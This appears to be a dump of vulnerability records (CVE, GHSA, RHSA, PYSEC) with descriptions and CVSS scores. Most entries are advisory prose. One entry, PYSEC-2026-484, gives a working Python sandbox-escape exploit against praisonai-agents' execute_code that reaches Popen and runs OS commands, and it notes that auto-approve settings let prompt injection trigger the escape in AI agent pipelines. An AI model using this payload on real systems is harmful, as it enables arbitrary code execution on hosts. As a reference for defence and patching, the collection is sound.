CIRCL/vulnerability-scores huggingface dataset:
CVE-2016-10139 
An issue was discovered on BLU R1 HD devices with Shanghai Adups software. The two package names involved in the exfiltration are com.adups.fota and com.adups.fota.sysoper. In the com.adups.fota.sysoper app's AndroidManifest.xml file, it sets the android:sharedUserId attribute to a value of android.uid.system which makes it execute as the system user, which is a very privileged user on the device. Therefore, the app executing as the system user has been granted a number of powerful permissions even though they are not present in the com.adups.fota.sysoper app's AndroidManifest.xml file. This app provides the com.adups.fota app access to the user's call log, text messages, and various device identifiers through the com.adups.fota.sysoper.provider.InfoProvider component. The com.adups.fota app uses timestamps when it runs and is eligible to exfiltrate the user's PII every 72 hours. If 72 hours have passed since the value of the timestamp, then the exfiltration will be triggered by the user plugging in the device to charge or when they leave or enter a wireless network. The exfiltration occurs in the background without any user interaction.
CVSS v3.0 score: 7.8
CVSS v2.0 score: 7.2
CVE-2007-0277 
Unspecified vulnerability in Oracle Database client-only 10.1.0.4 has unknown impact and attack vectors related to the Export component and expdp or impdp, aka DB11.
CVSS v2.0 score: 6.8
GHSA-g8h7-w86r-5398 
Cross-Site Request Forgery (CSRF) vulnerability in Nitin Rathod WP Forms Puzzle Captcha allows Stored XSS.This issue affects WP Forms Puzzle Captcha: from n/a through 4.1.
CVSS v3.1 score: 7.1
GHSA-xh8p-8v2c-5w7v 
Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in weDevs weMail allows Retrieve Embedded Sensitive Data. This issue affects weMail: from n/a through 1.14.13.
CVSS v3.1 score: 5.3
CVE-2023-22715 WordPress WP-CommentNavi Plugin <= 1.12.1 is vulnerable to Cross Site Scripting (XSS)
Auth. (admin+) Cross-Site Scripting (XSS) vulnerability in Lester 'GaMerZ' Chan WP-CommentNavi plugin <= 1.12.1 versions.
CVSS v3.1 score: 5.9
CVE-2026-31447 ext4: reject mount if bigalloc with s_first_data_block != 0
In the Linux kernel, the following vulnerability has been resolved:

ext4: reject mount if bigalloc with s_first_data_block != 0

bigalloc with s_first_data_block != 0 is not supported, reject mounting
it.
CVSS v3.1 score: 7.8
CVE-2018-2485 
It is possible for a malicious application or malware to execute JavaScript in a SAP Fiori application. This can include reading and writing of information and calling device specific JavaScript APIs in the application. SAP Fiori Client version 1.11.5 in Google Play store addresses these issues and users must update to that version.
CVSS v3.0 score: 7.7
CVSS v2.0 score: 6.4
GHSA-hm75-8hcq-5577 
Unspecified vulnerability in Microsoft Excel 2000, 2002, and 2003, in Microsoft Office 2000 SP3 and other packages, allows user-assisted attackers to execute arbitrary code via an Excel file with a malformed range, which could lead to memory corruption involving an argument to the msvcrt.memmove function, aka "Brand new Microsoft Excel Vulnerability," as originally placed for sale on eBay as item number 7203336538.
GHSA-hppx-43j3-q4g3 
IBM Sterling B2B Integrator Standard Edition 5.2 could allow an authenticated user to obtain sensitive information by using unsupported, specially crafted HTTP commands. IBM X-Force ID: 121375.
CVSS v3.0 score: 6.5
CVE-2016-10200 
Race condition in the L2TPv3 IP Encapsulation feature in the Linux kernel before 4.8.14 allows local users to gain privileges or cause a denial of service (use-after-free) by making multiple bind system calls without properly ascertaining whether a socket has the SOCK_ZAPPED status, related to net/l2tp/l2tp_ip.c and net/l2tp/l2tp_ip6.c.
CVSS v3.1 score: 7
CVSS v2.0 score: 6.9
GHSA-7436-x6ph-wx96 
Adobe Experience Manager versions 6.5.22 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
CVSS v3.1 score: 5.4
CVE-2018-11504 
The islist function in markdown.c in libmarkdown.a in DISCOUNT 2.2.3a allows remote attackers to cause a denial of service (heap-based buffer over-read) via a crafted file, as demonstrated by mkd2html.
CVSS v3.0 score: 5.5
CVSS v2.0 score: 4.3
GHSA-jw8f-7679-44jm 
IBM WebSphere Application Server 7.0, 8.0, 8.5, and 9.0 could allow a remote attacker to execute arbitrary code on the system with a specially-crafted sequence of serialized objects from untrusted sources. The vulnerability only occurs if an undocumented customization has been applied by an administrator. IBM X-Force ID: 184585.
CVSS v3.1 score: 9.8
CVE-2011-5214 
Multiple cross-site scripting (XSS) vulnerabilities in BrowserCRM 5.100.01 and earlier allow remote attackers to inject arbitrary web script or HTML via the PATH_INFO to (1) index.php, (2) modules/admin/admin_module_index.php, or (3) modules/calendar/customise_calendar_times.php; login[] parameter to (4) index.php or (5) pub/clients.php; or framed parameter to (6) licence/index.php or (7) licence/view.php.
CVSS v2.0 score: 4.3
GHSA-6cf2-hv75-pxf8 
The Cloud Controller in Cloud Foundry cf-release versions prior to v255 allows authenticated developer users to exceed memory and disk quotas for tasks.
CVSS v3.0 score: 6.5
CVE-2025-23541 WordPress Download, Downloads plugin <= 1.4.2 - Cross Site Scripting (XSS) vulnerability
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in edmon.parker Download, Downloads  ydn-download allows Reflected XSS.This issue affects Download, Downloads : from n/a through <= 1.4.2.
CVSS v3.1 score: 7.1
GHSA-49wm-3mm7-4pj9 
A stack-based buffer overflow vulnerability exists in the httpd do_wds functionality of Yifan YF325 v1.0_20221108. A specially crafted network request can lead to stack-based buffer overflow. An attacker can send a network request to trigger this vulnerability.
CVSS v3.1 score: 8.8
GHSA-jx6v-7wmg-pq67 
In the Linux kernel, the following vulnerability has been resolved:Revert "openvswitch: switch to per-action label counting in conntrack"Currently, ovs_ct_set_labels() is only called for confirmed conntrack
entries (ct) within ovs_ct_commit(). However, if the conntrack entry
does not have the labels_ext extension, attempting to allocate it in
ovs_ct_get_conn_labels() for a confirmed entry triggers a warning in
nf_ct_ext_add():WARN_ON(nf_ct_is_confirmed(ct));This happens when the conntrack entry is created externally before OVS
increments net->ct.labels_used. The issue has become more likely since
commit fcb1aa5163b1 ("openvswitch: switch to per-action label counting
in conntrack"), which changed to use per-action label counting and
increment net->ct.labels_used when a flow with ct action is added.Since there’s no straightforward way to fully resolve this issue at the
moment, this reverts the commit to avoid breaking existing use cases.
CVSS v3.1 score: 4.7
CVE-2024-5964 Zenon Lite <= 1.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Shortcode
The Zenon Lite theme for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘url’ parameter within the theme's Button shortcode in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS v3.1 score: 6.4
GHSA-3g33-62q3-g457 
Direct static code injection vulnerability in shoutbox.php in ShoutPro 1.5.2 allows remote attackers to inject arbitrary PHP code into shouts.php via the shout parameter.
CVE-2016-4088 
Adobe Reader and Acrobat before 11.0.16, Acrobat and Acrobat Reader DC Classic before 15.006.30172, and Acrobat and Acrobat Reader DC Continuous before 15.016.20039 on Windows and OS X allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2016-1037, CVE-2016-1063, CVE-2016-1064, CVE-2016-1071, CVE-2016-1072, CVE-2016-1073, CVE-2016-1074, CVE-2016-1076, CVE-2016-1077, CVE-2016-1078, CVE-2016-1080, CVE-2016-1081, CVE-2016-1082, CVE-2016-1083, CVE-2016-1084, CVE-2016-1085, CVE-2016-1086, CVE-2016-1088, CVE-2016-1093, CVE-2016-1095, CVE-2016-1116, CVE-2016-1118, CVE-2016-1119, CVE-2016-1120, CVE-2016-1123, CVE-2016-1124, CVE-2016-1125, CVE-2016-1126, CVE-2016-1127, CVE-2016-1128, CVE-2016-1129, CVE-2016-1130, CVE-2016-4089, CVE-2016-4090, CVE-2016-4093, CVE-2016-4094, CVE-2016-4096, CVE-2016-4097, CVE-2016-4098, CVE-2016-4099, CVE-2016-4100, CVE-2016-4101, CVE-2016-4103, CVE-2016-4104, and CVE-2016-4105.
CVSS v3.0 score: 9.8
CVSS v2.0 score: 10
GHSA-w58q-63hq-xff3 
Access of Resource Using Incompatible Type ('Type Confusion') vulnerability in themrdemonized xray-monolith.This issue affects xray-monolith: before 2025.12.30.
CVSS v3.1 score: 9.1
CVE-2004-2537 
Unspecified vulnerability in SurgeMail before 2.2c10 has unknown impact and attack vectors, related to a "Webmail security bug."
CVSS v2.0 score: 10
CVE-2020-3432 Cisco AnyConnect Secure Mobility Client for Mac OS File Corruption Vulnerability
A vulnerability in the uninstaller component of Cisco AnyConnect Secure Mobility Client for Mac OS could allow an authenticated, local attacker to corrupt the content of any file in the filesystem.
The vulnerability is due to the incorrect handling of directory paths. An attacker could exploit this vulnerability by creating a symbolic link (symlink) to a target file on a specific path. A successful exploit could allow the attacker to corrupt the contents of the file. If the file is a critical systems file, the exploit could lead to a denial of service condition. To exploit this vulnerability, the attacker would need to have valid credentials on the system.Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.
CVSS v3.0 score: 5.6
GHSA-jqrw-qrp2-9pg2 
DiskPulse Enterprise 13.6.14 contains an unquoted service path vulnerability in its Windows service configuration that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted path in 'C:\Program Files\Disk Pulse Enterprise\bin\diskpls.exe' to inject malicious executables and escalate privileges.
CVSS v4.0 score: 8.5
CVSS v3.1 score: 7.8
CVE-2020-16937 .NET Framework Information Disclosure Vulnerability
<p>An information disclosure vulnerability exists when the .NET Framework improperly handles objects in memory. An attacker who successfully exploited the vulnerability could disclose contents of an affected system's memory.</p>
<p>To exploit the vulnerability, an authenticated attacker would need to run a specially crafted application.</p>
<p>The update addresses the vulnerability by correcting how the .NET Framework handles objects in memory.</p>
CVSS v3.1 score: 4.7
GHSA-vcfh-ffm4-cq9m 
Cross-site scripting (XSS) vulnerability in IBM OmniFind Enterprise Edition before 9.1 allows remote attackers to inject arbitrary web script or HTML via the command parameter to the administration interface, as demonstrated by the command parameter to ESAdmin/collection.do.
RHSA-2007:0067 Red Hat Security Advisory: postgresql security update
security flaw security flaw New version fixes three different crash vulnerabilities security flaw security flaw
CVE-2025-8843 NASM Netwide Assember outmacho.c macho_no_dead_strip heap-based overflow
A vulnerability was found in NASM Netwide Assember 2.17rc0. This affects the function macho_no_dead_strip of the file outmacho.c. The manipulation leads to heap-based buffer overflow. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used.
CVSS v4.0 score: 4.8
CVSS v3.1 score: 5.3
CVSS v3.0 score: 5.3
CVSS v2.0 score: 4.3
CVE-2021-29450 WordPress Authenticated disclosure of password-protected posts and pages
Wordpress is an open source CMS. One of the blocks in the WordPress editor can be exploited in a way that exposes password-protected posts and pages. This requires at least contributor privileges. This has been patched in WordPress 5.7.1, along with the older affected versions via minor releases. It's strongly recommended that you keep auto-updates enabled to receive the fix.
CVSS v3.1 score: 6.5
GHSA-f367-3f4c-8qhc 
Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager).  Supported versions that are affected are 22.3-26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Cloud Applications.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data as well as  unauthorized update, insert or delete access to some of Siebel CRM Cloud Applications accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Siebel CRM Cloud Applications. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L).
CVSS v3.1 score: 7
GHSA-f95x-m5ph-289v 
An issue was discovered on Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, and TN540 devices. mjpegStreamer.cgi allows video screenshot access.
CVSS v3.1 score: 7.5
GHSA-w33f-jr3x-9vjf 
Incorrect access control in XIAO HE Smart 4.3.1 allows attackers to access sensitive information by analyzing the code and data within the APK file.
CVSS v3.1 score: 6.2
CVE-2024-50631 
Improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability in the system syncing daemon in Synology Drive Server before 3.0.4-12699, 3.2.1-23280, 3.5.0-26085 and 3.5.1-26102 allows remote attackers to inject SQL commands, limited to write operations, via unspecified vectors.
CVSS v3.1 score: 7.5
CVE-2003-0601 
Workgroup Manager in Apple Mac OS X Server 10.2 through 10.2.6 does not disable a password for a new account before it is saved for the first time, which allows remote attackers to gain unauthorized access via the new account before it is saved.
CVSS v2.0 score: 7.5
GHSA-w8gr-f976-pqpf 
Improper authorization involving a fuse in TrustZone in snapdragon automobile, snapdragon mobile and snapdragon wear in versions MDM9206, MDM9607, MSM8996AU, SD 210/SD 212/SD 205, SD 410/12, SD 425, SD 427, SD 430, SD 435, SD 439 / SD 429, SD 450, SD 615/16/SD 415, SD 625, SD 632, SD 636, SD 650/52, SD 810, SD 820, SD 820A, SD 835, SDA660, SDM439, SDM630, SDM660, SDX24, Snapdragon_High_Med_2016.
CVSS v3.0 score: 7.8
GHSA-mwwx-945g-m2mq 
An issue was discovered in drivers/media/test-drivers/vidtv/vidtv_bridge.c in the Linux kernel 6.2. There is a NULL pointer dereference in vidtv_mux_stop_thread. In vidtv_stop_streaming, after dvb->mux=NULL occurs, it executes vidtv_mux_stop_thread(dvb->mux).
CVSS v3.1 score: 5.5
GHSA-86pg-877h-rfr2 
WordPress before 5.5.2 allows CSRF attacks that change a theme's background image.
CVSS v3.1 score: 4.3
CVE-2018-17026 
admin/index.php in Monstra CMS 3.0.4 allows XSS via the page_meta_title parameter in an edit_page&name=error404 action, a different vulnerability than CVE-2018-10121.
CVSS v3.0 score: 4.8
CVSS v2.0 score: 3.5
CVE-2025-21995 drm/sched: Fix fence reference count leak
In the Linux kernel, the following vulnerability has been resolved:

drm/sched: Fix fence reference count leak

The last_scheduled fence leaks when an entity is being killed and adding
the cleanup callback fails.

Decrement the reference count of prev when dma_fence_add_callback()
fails, ensuring proper balance.

[phasta: add git tag info for stable kernel]
CVSS v3.1 score: 5.5
CVE-2006-4939 
backup/backup_scheduled.php in Moodle before 1.6.2 generates trace data with the full backup pathname even when debugging is disabled, which might allow attackers to obtain the pathname.
CVSS v2.0 score: 5
CVE-2009-0690 
The Foxit JPEG2000/JBIG2 Decoder add-on before 2.0.2009.616 for Foxit Reader 3.0 before Build 1817 does not properly handle a negative value for the stream offset in a JPEG2000 (aka JPX) stream, which allows remote attackers to cause a denial of service (memory corruption and application crash) or possibly execute arbitrary code via a crafted PDF file that triggers an out-of-bounds read.
CVSS v2.0 score: 9.3
GHSA-jcg3-g4m6-7ch5 
An issue in ttyd v.1.6.3 allows attacker to execute arbitrary code via default configuration permissions.
CVSS v3.1 score: 9.8
GHSA-cq9g-38fc-j53v 
The Elementor Website Builder – More Than Just a Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the border, margin and gap parameters in all versions up to, and including, 3.27.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS v3.1 score: 6.4
GHSA-58pv-8xf3-c5r4 
Possible XSS in iManager URL for access Component has been discovered in
OpenText™ iManager 3.2.6.0000.
CVSS v3.1 score: 7.6
CVE-2017-14410 
A buffer over-read was discovered in III_i_stereo in layer3.c in mpglibDBL, as used in MP3Gain version 1.5.2. The vulnerability causes an application crash, which leads to remote denial of service.
CVSS v3.0 score: 5.5
CVSS v2.0 score: 4.3
RHSA-2023:5046 Red Hat Security Advisory: flac security update
flac: Remote Code Execution (RCE) via the bitwriter_grow_ function, by supplying crafted input to the encoder
CVSS v3.1 score: 7.8
GHSA-rxx9-3cw7-g286 
A elevation of privilege vulnerability in the MediaTek accessory detector driver. Product: Android. Versions: Android kernel. Android ID: A-36136137. References: M-ALPS03361477.
CVSS v3.0 score: 7.8
CVE-2017-7848 
RSS fields can inject new lines into the created email structure, modifying the message body. This vulnerability affects Thunderbird < 52.5.2.
CVSS v3.0 score: 5.3
CVSS v2.0 score: 5
GHSA-h8f2-wx3h-xm9j 
A path traversal vulnerability exists in TMS Management Console (version 6.3.7.27386.20250818) from TMS Global Software. The "Download Template" function in the profile dashboard does not neutralize directory traversal sequences (../) in the filePath parameter, allowing authenticated users to read arbitrary files, such as the server's Web.config.
CVSS v3.1 score: 6.5
GHSA-w4p3-vcx6-ggv5 
A denial-of-service vulnerability exists in the affected products. The vulnerability could allow a remote, non-privileged user to send malicious requests resulting in a major nonrecoverable fault causing a denial-of-service.
CVSS v4.0 score: 7.1
GHSA-crv8-j8m6-h7pq 
IProom MMC+ Server login page does not validate specific parameters properly. Attackers can use the vulnerability to redirect to any malicious site and steal the victim's login credentials.
GHSA-9754-69r5-pfx2 
Insecure Permissions vulnerability in Deepin dde-file-manager 6.0.54 and earlier allows privileged operations to be called by unprivileged users via the D-Bus method.
CVSS v3.1 score: 7.8
CVE-2018-16846 
It was found in Ceph versions before 13.2.4 that authenticated ceph RGW users can cause a denial of service against OMAPs holding bucket indices.
CVSS v3.0 score: 6.5
CVE-2017-12134 
The xen_biovec_phys_mergeable function in drivers/xen/biomerge.c in Xen might allow local OS guest users to corrupt block device data streams and consequently obtain sensitive memory information, cause a denial of service, or gain host OS privileges by leveraging incorrect block IO merge-ability calculation.
CVSS v3.0 score: 8.8
CVSS v2.0 score: 7.2
GHSA-wfq6-x28p-qgh6 
OpenVPN 2.7_alpha1 through 2.7_beta1 on POSIX based platforms allows a remote authenticated server to inject shell commands via DNS variables when --dns-updown is in use
CVSS v3.1 score: 8.8
GHSA-h8wj-xxvx-cv2r 
This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of NETGEAR R6700v3 1.0.4.120_10.0.91 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of SOAP requests. When parsing the SOAPAction header, the process does not properly validate the length of user-supplied data prior to copying it to a buffer. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-15692.
CVSS v3.1 score: 8.8
CVE-2023-35814 
DevExpress before 23.1.3 does not properly protect XtraReport serialized data in ASP.NET web forms.
CVSS v3.1 score: 3.5
CVE-2024-20003 
In Modem NL1, there is a possible system crash due to an improper input validation. This could lead to remote denial of service, if NW sent invalid NR RRC Connection Setup message, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01191612; Issue ID: MOLY01191612 (MSV-981).
CVSS v3.1 score: 7.5
CVE-2024-37175 [Multiple CVEs] Multiple vulnerabilities in SAP CRM (WebClient UI)
SAP CRM WebClient does not
perform necessary authorization check for an authenticated user, resulting in
escalation of privileges. This could allow an attacker to access some sensitive
information.
CVSS v3.1 score: 4.3
GHSA-989m-j6wq-cwp7 
PHP remote file inclusion vulnerability in include.php in PHPOutsourcing IdeaBox (aka IdeBox) 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the gorumDir parameter.
CVE-2018-6075 
Incorrect handling of specified filenames in file downloads in Google Chrome prior to 65.0.3325.146 allowed a remote attacker to leak cross-origin data via a crafted HTML page and user interaction.
CVSS v3.0 score: 6.5
CVSS v2.0 score: 4.3
CVE-2025-43465 
A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data.
CVSS v3.1 score: 3.3
RHSA-2026:5142 Red Hat Security Advisory: OpenShift Container Platform 4.20.17 bug fix and security update
axios: Axios affected by Denial of Service via __proto__ Key in mergeConfig
CVSS v3.1 score: 7.5
GHSA-f25h-3mj6-4jpg Fat Free CRM vulnerable to Exposure of Sensitive Information
Fat Free CRM before 0.12.1 does not restrict XML serialization, which allows remote attackers to obtain sensitive information via a direct request, as demonstrated by a request for `users/1.xml`, a different vulnerability than CVE-2013-7224.
GHSA-c9q8-fg52-4crv 
A vulnerability in the web-based Cisco IOx application hosting environment management interface of Cisco IOS XE Software could allow an unauthenticated, remote attacker to perform a carriage return line feed (CRLF) injection attack against a user.This vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by sending crafted packets to an affected device. A successful exploit could allow the attacker to arbitrarily inject log entries, manipulate the structure of log files, or obscure legitimate log events.
CVSS v3.1 score: 5.3
GHSA-gjxv-qvc2-54h6 
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Product Hub accessible data as well as  unauthorized read access to a subset of Oracle Product Hub accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Product Hub. CVSS 3.1 Base Score 6.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L).
CVSS v3.1 score: 6.3
PYSEC-2026-484 
### Summary

`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.

### Details

`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)
 ```python
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses
        raise AttributeError(...)

# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
```

### PoC
```python

 from praisonaiagents.tools.python_tools import execute_code

payload = """
 t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1

obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
    try:
        m = getattr(cls, mod_attr, '')
        n = getattr(cls, name_attr, '')
        if m == 'subprocess' and n == 'Popen':
            r = cls(['id'], stdout=PIPE, stderr=PIPE)
            out, err = r.communicate()
            print('RCE:', out.decode())
            break
    except Exception as e:
        print('ERR:', e)
"""

result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```

### Impact

 Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
CVSS v3.1 score: 10
GHSA-3r5x-6g7r-3p8p 
jshERP v3.5 and earlier is affected by a stored Cross Site Scripting (XSS) vulnerability via the /msg/add endpoint.
CVSS v3.1 score: 4.6
CVE-2017-0279 
The Microsoft Server Message Block 1.0 (SMBv1) server on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allows an attacker to execute remote code by the way it handles certain requests, aka "Windows SMB Remote Code Execution Vulnerability". This CVE ID is unique from CVE-2017-0272, CVE-2017-0277, and CVE-2017-0278.
CVSS v3.0 score: 7
CVSS v2.0 score: 6.8
GHSA-5p7r-6jmj-6mcv 
Passwords are stored in plain text within the configuration of SICK Package Analytics software up to and including V04.1.1. An authorized attacker could access these stored plaintext credentials and gain access to the ftp service. Storing a password in plaintext allows attackers to easily gain access to systems, potentially compromising personal information or other sensitive information.
GHSA-2v7m-f892-3p6p 
Heap-based buffer overflow in Photoshop.exe in Adobe Photoshop CS5 12.x before 12.0.5, CS5.1 12.1.x before 12.1.1, and CS6 13.x before 13.0.1 allows remote attackers to execute arbitrary code via a crafted TIFF image with SGI24LogLum compression.
GHSA-7q77-4259-6r93 
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in RTI Connext Professional (Routing Service, Recording Service, Queuing Service, Observability Collector Service, Cloud Discovery Service) allows Buffer Overflow via Environment Variables.This issue affects Connext Professional: from 7.0.0 before 7.3.0.5, from 6.1.0 before 6.1.2.21, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.1.45.
CVSS v4.0 score: 8.3
CVSS v3.1 score: 7.8
CVE-2015-7363 
Cross-site scripting (XSS) vulnerability in the advanced settings page in Fortinet FortiManager 5.x before 5.0.12 and 5.2.x before 5.2.3, in hardware models with a hard disk, and FortiAnalyzer 5.x before 5.0.13 and 5.2.x before 5.2.3 allows remote administrators to inject arbitrary web script or HTML via vectors related to report filters.
CVSS v3.0 score: 5.4
CVSS v2.0 score: 3.5
GHSA-xfxp-qcg8-976p 
Vulnerability in the Oracle WebCenter Enterprise Capture product of Oracle Fusion Middleware (component: Client Bundle).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle WebCenter Enterprise Capture.  While the vulnerability is in Oracle WebCenter Enterprise Capture, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Enterprise Capture. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS v3.1 score: 9.9
CVE-2018-19312 
Centreon 3.4.x (fixed in Centreon 18.10.0 and Centreon web 2.8.24) allows SQL Injection via the searchVM parameter to the main.php?p=20408 URI.
CVSS v3.0 score: 8.8
CVSS v2.0 score: 6.5
GHSA-wjh2-79x3-xjv2 
Maian Uploader 4.0 allows remote attackers to obtain sensitive information via a request without the height parameter to load_flv.js.php, which reveals the installation path in an error message.
GHSA-p62x-mmj3-75q4 
Quassel before 0.12-rc1 uses an incorrect data-type size when splitting a message, which allows remote attackers to cause a denial of service (crash) via a long CTCP query containing only multibyte characters.
RHBA-2025:15878 Red Hat Bug Fix Advisory: linux-firmware bug fix and enhancement update
kernel: transient execution vulnerability in some AMD processors
CVSS v3.1 score: 5.6
GHSA-6qm6-gg4q-cvm5 
The health endpoint is public so everybody can see a list of all services. It is potentially valuable information for attackers.
CVSS v3.1 score: 9
GHSA-xjcp-9jxf-mc93 
Information Disclosure while processing IOCTL request in FastRPC.
CVSS v3.1 score: 5.1
CVE-2018-2798 
Vulnerability in the Java SE, Java SE Embedded, JRockit component of Oracle Java SE (subcomponent: AWT). Supported versions that are affected are Java SE: 6u181, 7u171, 8u162 and 10; Java SE Embedded: 8u161; JRockit: R28.3.17. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded, JRockit. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE, Java SE Embedded, JRockit. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.0 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).
CVSS v3.1 score: 5.3
CVSS v2.0 score: 5
CVE-2022-21496 
Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JNDI). Supported versions that are affected are Oracle Java SE: 7u331, 8u321, 11.0.14, 17.0.2, 18; Oracle GraalVM Enterprise Edition: 20.3.5, 21.3.1 and 22.0.0.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).
CVSS v3.1 score: 5.3
GHSA-2wcj-p2hm-6ff7 
Stack-based buffer overflow in the server in IBM Tivoli Storage Manager FastBack 6.1 before 6.1.12.1 allows remote attackers to execute arbitrary code via a crafted packet, a different vulnerability than CVE-2015-4931, CVE-2015-4933, CVE-2015-4934, and CVE-2015-4935.
CVE-2017-18888 
An issue was discovered in Mattermost Server before 4.3.0, 4.2.1, and 4.1.2. It allows SQL injection during the fetching of multiple posts.
CVSS v3.1 score: 9.8
CVSS v2.0 score: 7.5
GHSA-hf75-j846-hmxr 
A vulnerability has been found in Mobatek MobaXterm Home Edition up to 26.1. This affects an unknown part in the library msimg32.dll. The manipulation leads to uncontrolled search path. An attack has to be approached locally. The attack is considered to have high complexity. It is indicated that the exploitability is difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 26.2 is able to mitigate this issue. It is suggested to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.
CVSS v4.0 score: 6.4
CVSS v3.1 score: 7
CVE-2023-20024 Cisco Small Business Series Switches Buffer Overflow Vulnerabilities
Multiple vulnerabilities in the web-based user interface of certain Cisco Small Business Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with root privileges on an affected device. These vulnerabilities are due to improper validation of requests that are sent to the web interface. For more information about these vulnerabilities, see the Details section of this advisory.
